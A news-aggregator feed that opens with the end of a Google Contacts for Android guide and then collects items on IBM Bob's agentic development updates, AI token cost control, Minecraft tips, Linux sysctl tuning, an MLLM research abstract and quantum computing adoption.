</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<p>Google Contacts will identify any instances where it looks like you’ve got two separate contact entries for the same person and then offer to quickly combine them for you. It’ll also let you know when it’s found more up-to-date contact info for anyone in your list. And it’ll offer to add in entries for anyone you email often but haven’t yet added.</p>



<p>Easy peasy, right?</p>



<p>And last but not least, for the virtual icing on your Android contacts cake…</p>



<h2 class="wp-block-heading">Part V: Android contacts actions</h2>



<p>Once you’ve gotten your contacts created, organized, and cleaned up properly, the Google Contacts app on Android has several advanced actions that are all too easy to miss.</p>



<ul class="wp-block-list">
<li>You can use the Contacts app as an efficient way to start a new group email or text message thread with any selection of people you want. Just make sure the people are all in the same label, then tap the label icon in the app’s upper-right corner and select the label. Next, tap the three-dot menu icon in the upper-right corner of the label screen and look for the “Send email” or “Send message” option.</li>



<li>The Contacts app can also serve as an all-in-one hub for initiating communication with anyone in your collection. Open someone’s profile, and you’ll see one-tap icons for calling them, texting them, emailing them, or starting a Google Meet video call with them — all without ever having to poke around in any other apps.</li>



<li>If you want even easier access to certain high-profile people, check out the Google Contacts widget options: Long-press on any open area of your home screen, select the option to add a widget, and then look for the Contacts section. There, you should see options for adding square-shaped widgets that show a person’s photo along with one-tap links for calling or texting them as well as simpler icon-like <em>shortcuts </em>for calling or texting a specific contact. In the latter case, you can add as many of those as you want onto your home screen and even drag ’em on top of each other once they’re there to create convenient folders.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/google-contacts-android-07-widget.jpg?quality=50&amp;strip=all&amp;w=1024" alt="screenshot of google contacts widget on android home screen" class="wp-image-4173349" width="1024" height="397" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Google Contacts app’s widgets are a wonderful way to keep one-tap shortcuts for calling or messaging important people close by.</p>
</figcaption></figure><p class="imageCredit">JR Raphael / Foundry</p></div>



<ul class="wp-block-list">
<li>Speaking of calling convenience, if there’s a certain contact who calls you a little <em>too</em> often — an overly eager recruiter or maybe that blasted cousin of yours (come on, Carl!) — the Google Contacts app has an easy way to automatically route all of their calls directly to your voicemail. Just open the person’s profile within the app, then scroll down and look for the “Send to voicemail” option — or look a little lower for “Block numbers,” if you <em>really</em> never want to hear from them again.</li>



<li>In that same area of a contact profile is a speedy shortcut for setting a custom ringtone for any contact so it’s especially easy to identify them (or hide in the nearest underground bunker) whenever they call.</li>



<li>And don’t overlook the recently added “Reminders” section, where you can store dates like birthdays and anniversaries and create reminders around ’em, in addition to having ’em appear within the app itself.</li>
</ul>



<p>Last but not least, the real beauty of the Google Contacts setup on Android: It works equally well no matter what type of device you’re using.</p>



<p>On any phone you move into in the future, you can simply install the Google Contacts app, if it isn’t already in place, and all your stuff will instantly be there, synced, and available to you — no restoring required. And if you ever want to poke around or update your contacts from a computer, all you’ve gotta do is <a href="https://contacts.google.com/" rel="nofollow noopener" target="_blank">pull up the Google Contacts website</a> in any browser where you’re signed in.</p>



<p>So the Android contacts situation isn’t exactly straightforward, as you’ve seen. But once you get it under control, it absolutely <em>can </em>be easy and effective — and, with a teensy bit of advance planning, an important piece of your mobile productivity puzzle.</p>



<p><em>This article was originally published in November 2022 and updated in July 2026.</em></p>
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<title><![CDATA[IBM targets AI cost optimization with updates to Bob developer tool]]></title>
<description><![CDATA[New features for IBM Bob aim to provide greater oversight of AI usage and improve resource allocation]]></description>
<link>https://tsecurity.de/de/3659239/it-security-nachrichten/ibm-targets-ai-cost-optimization-with-updates-to-bob-developer-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659239/it-security-nachrichten/ibm-targets-ai-cost-optimization-with-updates-to-bob-developer-tool/</guid>
<pubDate>Fri, 10 Jul 2026 11:23:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[New features for IBM Bob aim to provide greater oversight of AI usage and improve resource allocation]]></content:encoded>
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<title><![CDATA[Relearning cloud lessons from runaway AI token costs]]></title>
<description><![CDATA[Every few years, some new technology comes along that promises to revolutionize how we do business, and enterprises pile in headfirst without asking how much it’s going to cost. I’ve been watching this movie for 30 years. Cloud computing was the first act. Now it’s generative AI, and the bill is ...]]></description>
<link>https://tsecurity.de/de/3659187/ai-nachrichten/relearning-cloud-lessons-from-runaway-ai-token-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659187/ai-nachrichten/relearning-cloud-lessons-from-runaway-ai-token-costs/</guid>
<pubDate>Fri, 10 Jul 2026 11:03:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>Every few years, some new technology comes along that promises to revolutionize how we do business, and enterprises pile in headfirst without asking how much it’s going to cost. I’ve been watching this movie for 30 years. <a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html" data-type="link" data-id="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was the first act. Now it’s <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a>, and the bill is arriving faster than anyone expected.</p>



<p>The latest data shows that many enterprises are seeing their AI token costs run 10 to 20 times higher than initial projections. That’s not a rounding error. That’s a strategic miscalculation that CFOs are starting to notice, and they’re not happy about it.</p>



<p>Here’s the thing: This crisis was entirely predictable. We’ve been through this before with cloud computing, and we learned some hard lessons about what happens when you deploy technology without rigorous cost management. The good news is that enterprises are finally applying those lessons, reaching back to their cloud finops playbooks to wrangle this new breed of spending.</p>



<h2 class="wp-block-heading">The 50x problem</h2>



<p>Let me explain the scale of what’s happening. Goldman Sachs has estimated that <a href="https://www.infoworld.com/article/3611465/how-ai-agents-will-transform-the-future-of-work.html">AI agents</a> consume roughly 50 times more computing power per task than traditional prompt-based chatbots. That’s a fundamental shift in how resources get consumed. When you multiply that across an enterprise that’s deploying dozens or hundreds of AI agents, the math gets ugly fast.</p>



<p>The token problem compounds because AI costs are inherently variable. Unlike traditional software licensing or infrastructure contracts, you pay per token, and per-token usage can fluctuate wildly based on user behavior, query complexity, and the sheer volume of requests flowing through these systems. This is exactly the same problem we faced with cloud computing. Every time someone spins up a new instance or stores data in the wrong tier, the bill goes up.</p>



<p>Enterprises expected to deploy AI and see costs stabilize. Instead, costs are climbing month after month, often exceeding projections by an order of magnitude. The business case that looked compelling in the conference room is looking considerably less attractive in the finance committee.</p>



<h2 class="wp-block-heading">Lessons from the cloud playbook</h2>



<p>Here’s where it gets interesting. Cloud providers and the managed service providers who work with them have spent the better part of two decades building disciplines around financial operations—<a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">finops</a>, if you want to use the buzzword. These are the practices, tools, and organizational structures that make cloud spending visible, controllable, and ultimately justifiable to the business.</p>



<p>Those same disciplines are now being applied to AI token costs, and enterprises with mature finops programs are faring better than those without. The playbook is essentially the same: </p>



<ul class="wp-block-list">
<li>Make spending visible.</li>



<li>Attribute costs to the right teams.</li>



<li>Set guardrails and alerts.</li>



<li>Create feedback loops that encourage efficient behavior.</li>
</ul>



<p>Companies like Priceline have deployed dashboards that provide executives with real-time visibility into token consumption, with monthly reports delivered directly to the CFO and CTO. Smartsheet has implemented similar approaches, providing department-level dashboards that let managers see exactly how their teams are consuming tokens, with automated alerts when consumption approaches predefined thresholds.</p>



<p>The accountability piece is critical. When developers and business users can see exactly how their AI usage translates to dollars, they tend to make better decisions about which models to use, how to structure prompts, and when to rely on human judgment instead of AI processing.</p>



<h2 class="wp-block-heading">The show-back revolution</h2>



<p>One of the most effective techniques emerging from this crisis is the “show back” approach to AI cost management. Rather than simply reporting costs to individual departments, companies are now attributing AI spending to the teams and individuals responsible for driving that consumption. This creates accountability without the organizational complexity of full chargeback models.</p>



<p>OpenText has reported that implementing show-back and chargeback approaches can reduce token costs by 20% to 30% within a few months. That’s not trivial. If you’re spending $5 million a month on AI tokens, that’s a $1.5 million savings just by making people aware of what they’re spending.</p>



<p>The mechanism is straightforward: When development leaders understand that their team has consumed $200,000 in tokens this month, they start asking questions. Why are we using the most expensive model for that task? What if a smaller model could handle 80% of these queries? Are prompts being repeated unnecessarily? These questions lead to optimization, and optimization leads to savings.</p>



<h2 class="wp-block-heading">Model smarts</h2>



<p>Another lesson from the cloud experience is that the most expensive option is rarely the best option. This sounds obvious, but organizations tend to default to the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">largest, most capable AI model</a> for every task, regardless of whether that capability is actually required.</p>



<p>The emerging best practice is to match model capability to task requirements. A simple classification task doesn’t need a frontier model. A straightforward text-generation job might be handled perfectly by a smaller, cheaper model running locally or via a less expensive API tier. The efficiency gains from this approach can be substantial.</p>



<p>Some enterprises are going further, adopting older models or open source alternatives for appropriate use cases. Qualcomm, for instance, has invested in running models on its own hardware rather than relying exclusively on cloud-based model providers. This approach requires more technical sophistication but can dramatically reduce per-token costs for high-volume applications.</p>



<h2 class="wp-block-heading">The real challenge</h2>



<p>Here’s what concerns me most about the current situation. Many enterprises deployed <a href="https://www.infoworld.com/article/4061121/a-brief-history-of-ai.html">AI</a> without putting adequate cost management infrastructure in place up front. They got caught up in the excitement of the technology, the competitive pressure to move fast, and the belief that the benefits would justify whatever the costs turned out to be. That approach worked when AI projects were small-scale experiments. Now that AI is becoming core to business operations, the lack of financial controls is becoming a serious problem. We need to bring the same rigor to AI procurement and deployment that we’ve brought to every other significant technology investment.</p>



<p>The organizations that succeed will treat AI token costs as a managed operational expense rather than an unpredictable variable. That means deploying the same tools and disciplines that have worked for cloud cost management: visibility, accountability, optimization, and continuous improvement.</p>



<p>Cloud providers and the managed service partners who work with them have been doing this for years. They built the tools, developed the best practices, and trained the workforce that can now apply those skills to the AI cost challenge. If your organization is struggling with AI spending, finding partners with deep finops experience might be the fastest path to control.</p>



<p>The good news is that this crisis is solvable. But it requires acknowledging the problem, investing in the right capabilities, and accepting that technology deployment without financial discipline is a path to trouble.</p>



<p>Get smart about your AI spending. The CFO will thank you.</p>
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<title><![CDATA[Minecraft Color Codes: Ultimate 16-Color Easy Guide]]></title>
<description><![CDATA[Minecraft color codes let you change the color and style of text on signs, in chat, and in commands — in both Java Edition and Bedrock Edition. Understanding Minecraft color codes is essential for anyone who wants to customize their in-game text. This guide covers every code you need, how to ente...]]></description>
<link>https://tsecurity.de/de/3658842/betriebssysteme/minecraft-color-codes-ultimate-16-color-easy-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658842/betriebssysteme/minecraft-color-codes-ultimate-16-color-easy-guide/</guid>
<pubDate>Fri, 10 Jul 2026 07:50:55 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minecraft color codes let you change the color and style of text on signs, in chat, and in commands — in both Java Edition and Bedrock Edition. Understanding Minecraft color codes is essential for anyone who wants to customize their in-game text. This guide covers every code you need, how to enter the section symbol […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/change-text-color-for-signs-in-minecraft/">Minecraft Color Codes: Ultimate 16-Color Easy Guide</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[How to Make a Blast Furnace in Minecraft: Easy Guide]]></title>
<description><![CDATA[Minecraft features all sorts of blocks; some can be used in their original form while others can be ‘smelted’ to make other types of blocks. If you’ve ever wondered how to make a blast furnace in Minecraft, you’re in the right place — it’s one of the most useful upgrades you can craft. You will [...]]></description>
<link>https://tsecurity.de/de/3658837/betriebssysteme/how-to-make-a-blast-furnace-in-minecraft-easy-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658837/betriebssysteme/how-to-make-a-blast-furnace-in-minecraft-easy-guide/</guid>
<pubDate>Fri, 10 Jul 2026 07:50:49 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minecraft features all sorts of blocks; some can be used in their original form while others can be ‘smelted’ to make other types of blocks. If you’ve ever wondered how to make a blast furnace in Minecraft, you’re in the right place — it’s one of the most useful upgrades you can craft. You will […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/blast-furnace-in-minecraft/">How to Make a Blast Furnace in Minecraft: Easy Guide</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[How to Turn On AutoJump in Minecraft: Quick Setup Tutorial]]></title>
<description><![CDATA[If you’ve ever wondered how to turn on autojump in Minecraft, you’re not alone. Minecraft has quite a few biomes and none of them are completely flat. You can create a flat world if you’re interested in building, but you will always find there are blocks to jump over. Jumping isn’t a complicated ...]]></description>
<link>https://tsecurity.de/de/3658836/betriebssysteme/how-to-turn-on-autojump-in-minecraft-quick-setup-tutorial/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658836/betriebssysteme/how-to-turn-on-autojump-in-minecraft-quick-setup-tutorial/</guid>
<pubDate>Fri, 10 Jul 2026 07:50:48 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you’ve ever wondered how to turn on autojump in Minecraft, you’re not alone. Minecraft has quite a few biomes and none of them are completely flat. You can create a flat world if you’re interested in building, but you will always find there are blocks to jump over. Jumping isn’t a complicated maneuver in […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/auto-jump-minecraft/">How to Turn On AutoJump in Minecraft: Quick Setup Tutorial</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[How to Plant Mushrooms in Minecraft: Grow Fast]]></title>
<description><![CDATA[Knowing how to plant mushrooms in Minecraft is a useful skill that opens up a reliable food source and crafting ingredient. Mushrooms come in two varieties: red and brown. They can be harvested and used to make food or potions. When growing mushrooms, it is important to find the right type of env...]]></description>
<link>https://tsecurity.de/de/3658835/betriebssysteme/how-to-plant-mushrooms-in-minecraft-grow-fast/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658835/betriebssysteme/how-to-plant-mushrooms-in-minecraft-grow-fast/</guid>
<pubDate>Fri, 10 Jul 2026 07:50:47 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Knowing how to plant mushrooms in Minecraft is a useful skill that opens up a reliable food source and crafting ingredient. Mushrooms come in two varieties: red and brown. They can be harvested and used to make food or potions. When growing mushrooms, it is important to find the right type of environment. Mushrooms like […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/how-to-grow-mushrooms-in-minecraft/">How to Plant Mushrooms in Minecraft: Grow Fast</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[IBM Bob expands beyond code generation to orchestrate the entire SDLC]]></title>
<description><![CDATA[Enterprises are using AI to write more code than ever before; anywhere between 25% and 75%, depending on who you ask. This means developers are moving to other parts of the process, where they run into whole new sets of problems.



IBM rolled out its IBM Bob agentic software development platform...]]></description>
<link>https://tsecurity.de/de/3658483/ai-nachrichten/ibm-bob-expands-beyond-code-generation-to-orchestrate-the-entire-sdlc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658483/ai-nachrichten/ibm-bob-expands-beyond-code-generation-to-orchestrate-the-entire-sdlc/</guid>
<pubDate>Fri, 10 Jul 2026 03:02:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Enterprises are using AI to write more code than ever before; anywhere between <a href="https://www.infoworld.com/article/4176534/ai-coding-agents-need-good-software-engineers.html" target="_blank">25% and 75%</a>, depending on who you ask. This means developers are moving to other parts of the process, where they run into whole new sets of problems.</p>



<p>IBM rolled out its IBM Bob agentic software development platform earlier this year to help developers across the entire software development lifecycle (SDLC), rather than just in single interfaces or isolated tasks.</p>



<p>To build out the platform, IBM Thursday announced <a href="https://newsroom.ibm.com/2026-07-09-ibm-advances-enterprise-ai-software-development-with-multi-agent-capabilities-and-specialized-modernization-workflows" target="_blank" rel="noreferrer noopener">a series of updates</a>, including new multi-agent capabilities, parallel tool calling, and built-in cost and use analytics. The company also announced three specialized workflows geared specifically to Java modernization, its IBM i operating system (OS), and its mainframe architecture, IBM Z.</p>



<p>“What makes IBM Bob different is that IBM did not build it as another point coding assistant,” said <a href="https://www.ibm.com/think/author/michael-kwok" target="_blank" rel="noreferrer noopener">Michael Kwok</a>, VP of IBM Bob. “The market conversation has moved from ‘which model writes code fastest?’ to ‘which platform helps enterprises deliver software safely, repeatedly, and economically across the full lifecycle?’”</p>



<p>Bob is designed to address that broader problem, he said: understanding complex systems, planning changes, executing work, validating results, and giving leaders visibility into usage, governance, and cost. “IBM Bob supports the work around the code, as much as the code itself,” he said.</p>



<h2 class="wp-block-heading">Bob’s new features</h2>



<p>Bob, which was made <a href="https://newsroom.ibm.com/2026-04-28-introducing-ibm-bob-ai-development-partner-that-takes-enterprises-from-ai-assisted-coding-to-production-ready-software" target="_blank" rel="noreferrer noopener">globally available in April</a>, embeds agentic AI across the entire development process: discovery, planning, design, coding, testing, deployment, and operations. It offers different persona-based modes (‘Agent,’ ‘Plan,’ ‘Ask’), reusable playbooks, and enforced standards.</p>



<p>Bob can call tools to perform different tasks and route those tasks between different models, like IBM’s Granite or Anthropic’s Claude, based on cost, performance, and accuracy needs. It can also run several tasks simultaneously, each in its own thread. From a security standpoint, it scans sensitive data, enforces policy in real time, and incorporates red-teaming directly into development workflows.</p>



<p>“Enterprise software work is rarely a single prompt or a single file,” said Kwok, noting that it often requires repository discovery, dependency analysis, testing, security review, documentation, and human approval. “Bob coordinates that work, rather than leaving developers to stitch it together manually,” he said.</p>



<p>Now, rather than running each one separately, Bob can call model-native tools in parallel and run them simultaneously. This means that a task that previously took 30 seconds can now be done in 10 seconds or less, reducing token consumption per task, IBM says. Its context window is also larger (270K tokens compared to 200K in V1).</p>



<p>Additionally, Bob can pull in subagents to perform its exploratory steps. When the agent needs to do a self-contained task, like “figure out how authentication works in this codebase,” it spins up a subagent to read files, perform analysis, and work out patterns. The main agent then receives a summary, and the intermediate steps are thrown away, IBM says. This helps prevent context window bloat.</p>



<p>Parallel tool calling reduces waiting time for work that fans out across searches, file reads, and validation steps, Kwok explained, while subagents keep the main context cleaner by isolating exploratory work and returning concise summaries.</p>



<p>“The point is not that Bob can do more things at the same time; it’s that Bob can coordinate those things in a way that remains understandable, repeatable, and auditable,” he said.</p>



<h2 class="wp-block-heading">‘Bobalytics’ provides important metrics</h2>



<p>Further, Bob is now equipped with ‘Bobalytics,’ a visibility and <a href="https://www.cio.com/article/4183502/why-is-it-so-hard-to-measure-the-roi-of-ai.html" target="_blank">cost optimization</a> tool for teams to help them maintain oversight, monitor use, and allocate resources.</p>



<p>“The goal is to help enterprises understand not only how much AI is being used, but if it’s creating meaningful value,” said Kwok.</p>



<p>Bobalytics is designed around multiple views, he explained. For instance, administrators need to see seat usage, consumption, governance controls, and activity visibility, while managers need insight into “team-level patterns,” such as who’s adopting Bob, which workflows are delivering value, and where teams may need support.</p>



<p>This can support important decision-making, Kwok said: Where adoption is high but value is low, teams may need better workflows or training; if a team has cost spikes, leaders need to know where and why, and take action accordingly.</p>



<h2 class="wp-block-heading">Bob’s specialized packages</h2>



<p>IBM has offered ways to help enterprises modernize across mainframes, <a href="https://www.infoworld.com/article/3993579/java-turns-30-and-theres-no-stopping-it-now.html" target="_blank">Java codebases</a>, and OSes for decades. Now, the company is incorporating that institutional knowledge into three pre-built, customizable workflows for Java modernization, IBM i, and IBM Z. The company says these are “structured, repeatable, auditable, and purpose-built.”</p>



<p>Bob for <a href="https://www.infoworld.com/article/2267843/exceptions-in-java-part-1-exception-handling-basics.html" target="_blank">Java modernization</a> helps teams migrate from Java 8 or earlier to Java 11, 17, 21, or 25, identifying compatibility issues, analyzing dependencies, coordinating code and configuration updates, and performing other important tasks.</p>



<p>For instance, a developer may ask Bob to assess an app for a Java version upgrade. Bob may have to inspect the build system, analyze dependencies, review framework usage, identify compatibility issues, read logs, understand test coverage, and propose an upgrade plan. Now it does those tasks in parallel, while subagents can handle focused investigations “without polluting the main conversation context,” Kwok said.</p>



<p>Bob for IBM i features curated skills and agentic workflows optimized for the IBM i OS. This includes refactoring “monolithic” apps into more modular modern structures, creating documentation, producing unit tests, and generating different types of code (COBOL, DDS, CL, RPG) for developers. Further, an ‘IBM i database mode’ allows Bob to emulate an experienced database engineer. </p>



<p>Mainframe environments have been notoriously difficult for AI integrations, and IBM says it is bringing AI-native app modernization to IBM Z for the first time, with COBOL and PL/I modernization and job control language (JCL) analysis.</p>



<p>Bob for IBM Z offers reusable skills; specialized modes that allow it to adapt to different tasks like code refactoring or architectural impact analysis, and the ability to write code, read, files, and execute commands.</p>



<p>For example, a developer may ask: “What impact will this field change have?” and Bob can use Z-specific analysis and metadata to reason across programs, copybooks, JCL, data flows, and subsystem interactions, Kwok noted. A subagent can explore one part of the system, summarize the relevant findings, and return only what the main agent needs to continue planning or executing the change. </p>



<p>Java, Z and i are all environments with different runtime assumptions, languages, integration patterns, governance needs, and operational constraints, he said, adding that IBM’s domain expertise is “a key differentiator.”</p>



<p>IBM will eventually broaden into other workflow-specific capabilities, he noted, in areas where “specialized workflows can materially improve real software delivery.”</p>



<h2 class="wp-block-heading">IBM Bob not ‘just another copilot’</h2>



<p>IBM Bob is not another copilot bolted onto your integrated development environment, said <a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group. Rather, it “builds security, testing, and governance into the generation step, so code arrives already checked instead of landing on the reviewers who were the bottleneck.”</p>



<p>Prompt normalization blocks unsafe instructions as they’re written, sensitive data is scanned and secrets detected in real time, and policy enforcement is continuous throughout the code lifecycle, he noted. Bob, rather than a human team, picks models, and built-in and custom models allow developers to move between planning, coding, and review without needing to switch tools. Further, Model Context Protocol (MCP) integration connects Bob to existing toolchains.</p>



<p>Most AI coding tools have typically worked in the same way: Generate code in a coding tool, paste it into an integrated development environment (IDE), then spend time fixing what broke, Bellamkonda pointed out. </p>



<p>Developers end up writing a lot of code and losing hours chasing bugs. Then code hits production, where every line still has to clear security review, testing, and compliance. And while, for example, AWS Kiro requires a spec before any code exists, then tests code against it, AWS Transform goes after the other end, modernizing old code and clearing tech debt in a continuous loop. </p>



<p>“IBM Bob works the same stage but bakes the checks into generation,” Bellamkonda noted.</p>



<p>“The whole industry reached the same conclusion this year: Bolt an accelerator onto an unchanged pipeline, and you move the bottleneck downstream,” he said. “The tools just differ by where they step in.”</p>
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<title><![CDATA[Linux Sysctl Tuning: Kernel Parameter Optimization Guide]]></title>
<description><![CDATA[Learn how to use sysctl to tune Linux kernel parameters at runtime for better networking performance, memory management, and system security. This comprehensive guide covers Ubuntu, Fedora, and Arch-based distributions with verified terminal output, modern drop-in file configuration, security har...]]></description>
<link>https://tsecurity.de/de/3658422/linux-tipps/linux-sysctl-tuning-kernel-parameter-optimization-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658422/linux-tipps/linux-sysctl-tuning-kernel-parameter-optimization-guide/</guid>
<pubDate>Fri, 10 Jul 2026 01:53:04 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Learn how to use sysctl to tune Linux kernel parameters at runtime for better networking performance, memory management, and system security. This comprehensive guide covers Ubuntu, Fedora, and Arch-based distributions with verified terminal output, modern drop-in file configuration, security hardening techniques, and practical tuning recipes for web servers, databases, and desktop workstations.]]></content:encoded>
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<title><![CDATA[Incentivizing Temporal-Awareness in Egocentric Video Understanding Models]]></title>
<description><![CDATA[Multimodal large language models (MLLMs) have recently shown strong performance in visual understanding, yet they often lack temporal awareness, particularly in egocentric settings where reasoning depends on the correct ordering and evolution of events. This deficiency stems in part from training...]]></description>
<link>https://tsecurity.de/de/3657752/ai-nachrichten/incentivizing-temporal-awareness-in-egocentric-video-understanding-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657752/ai-nachrichten/incentivizing-temporal-awareness-in-egocentric-video-understanding-models/</guid>
<pubDate>Thu, 09 Jul 2026 18:36:52 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multimodal large language models (MLLMs) have recently shown strong performance in visual understanding, yet they often lack temporal awareness, particularly in egocentric settings where reasoning depends on the correct ordering and evolution of events. This deficiency stems in part from training objectives that fail to explicitly reward temporal reasoning and instead rely on frame-level spatial shortcuts. To address this limitation, we propose Temporal Global Policy Optimization (TGPO), a reinforcement learning with verifiable rewards (RLVR) algorithm designed to incentivize temporal…]]></content:encoded>
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<title><![CDATA[Intel Platform Performance Package 26.07.100.6 (Win 11)]]></title>
<description><![CDATA[Intel Platform Performance Package (IPPP, zu deutsch „Intel Plattform Leistungspaket“) vereint als „neuer Chipsatztreiber“ in Form eines All-in-one-Pakets verschiedene Treiberpakete auf einmal. Dies umfasst unter anderem die Dynamic Tuning Technology (DTT, Turbo-Taktraten-Optimierung) und die Int...]]></description>
<link>https://tsecurity.de/de/3657738/downloads/intel-platform-performance-package-26071006-win-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657738/downloads/intel-platform-performance-package-26071006-win-11/</guid>
<pubDate>Thu, 09 Jul 2026 18:34:59 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Intel Platform Performance Package (IPPP, zu deutsch „Intel Plattform Leistungspaket“) vereint als „neuer Chipsatztreiber“ in Form eines All-in-one-Pakets verschiedene Treiberpakete auf einmal. Dies umfasst unter anderem die Dynamic Tuning Technology (DTT, Turbo-Taktraten-Optimierung) und die Intel Application Optimization (APO).]]></content:encoded>
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<title><![CDATA[After nearly two decades, Minecraft is finally letting players take a rest on something other than a regular bed in its latest update]]></title>
<description><![CDATA[Mojang has released the patch notes for Minecraft's Preview 26.40.30 update, which will add new cushion and straw bed items along with many gameplay changes that will be rolling out today.]]></description>
<link>https://tsecurity.de/de/3657474/windows-tipps/after-nearly-two-decades-minecraft-is-finally-letting-players-take-a-rest-on-something-other-than-a-regular-bed-in-its-latest-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657474/windows-tipps/after-nearly-two-decades-minecraft-is-finally-letting-players-take-a-rest-on-something-other-than-a-regular-bed-in-its-latest-update/</guid>
<pubDate>Thu, 09 Jul 2026 17:10:41 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mojang has released the patch notes for Minecraft's Preview 26.40.30 update, which will add new cushion and straw bed items along with many gameplay changes that will be rolling out today.]]></content:encoded>
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<title><![CDATA[AI tie-in accelerates quantum usefulness, early adopters say]]></title>
<description><![CDATA[Quantum computers are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.



“We are starting to see real ap...]]></description>
<link>https://tsecurity.de/de/3657220/it-security-nachrichten/ai-tie-in-accelerates-quantum-usefulness-early-adopters-say/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3657220/it-security-nachrichten/ai-tie-in-accelerates-quantum-usefulness-early-adopters-say/</guid>
<pubDate>Thu, 09 Jul 2026 15:38:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><a href="https://www.networkworld.com/article/4117438/quantum-computing-is-getting-closer-but-quantum-proof-encryption-remains-elusive.html" target="_blank">Quantum computers</a> are still two to five years away from full-scale production, but early users like the Cleveland Clinic and Mitsubishi Chemical are already seeing benefits, particularly when quantum is used in conjunction with AI and high-performance computing.</p>



<p>“We are starting to see real applications of it,” says <a href="https://www.linkedin.com/in/lara-jehi-md-mhcds-67278a45/" target="_blank" rel="noreferrer noopener">Lara Jehi</a>, chief research information officer at Cleveland Clinic, and one of the keynote speakers at the <a href="https://www.alphaevents.com/events-quantumtechus/faq" target="_blank" rel="noreferrer noopener">Quantum Tech World conference in Boston</a> in late June.</p>



<p>And the technology is moving faster than anyone could have predicted, she tells <em>Network World</em>. For example, in the fall of 2024, the largest simulation that <a href="https://www.networkworld.com/article/4115513/what-enterprises-think-about-quantum-computing.html">quantum computers</a> could handle was just ten atoms, she says. “Roadmaps in the industry were hypothesizing that getting past the 10,000-atom threshold would take another five to seven years.”</p>



<p>This year, the Cleveland Clinic simulated protein complexes of <a href="https://newsroom.clevelandclinic.org/2026/05/05/cleveland-clinic-riken-and-ibm-model-a-12635-atom-protein--the-largest-known-to-be-simulated-with-quantum-computers" target="_blank" rel="noreferrer noopener">up to 12,635 atoms</a>. “We would not have been able to do the same analysis classically,” she says.</p>



<p>But even a protein of this size is still too small to be clinically relevant, she adds. For something with real-world applications, you’d need to be in the ballpark of a million atoms. And that’s not out of reach. “I think we’re very close, I’m very confident,” she says. “One or two years.”</p>



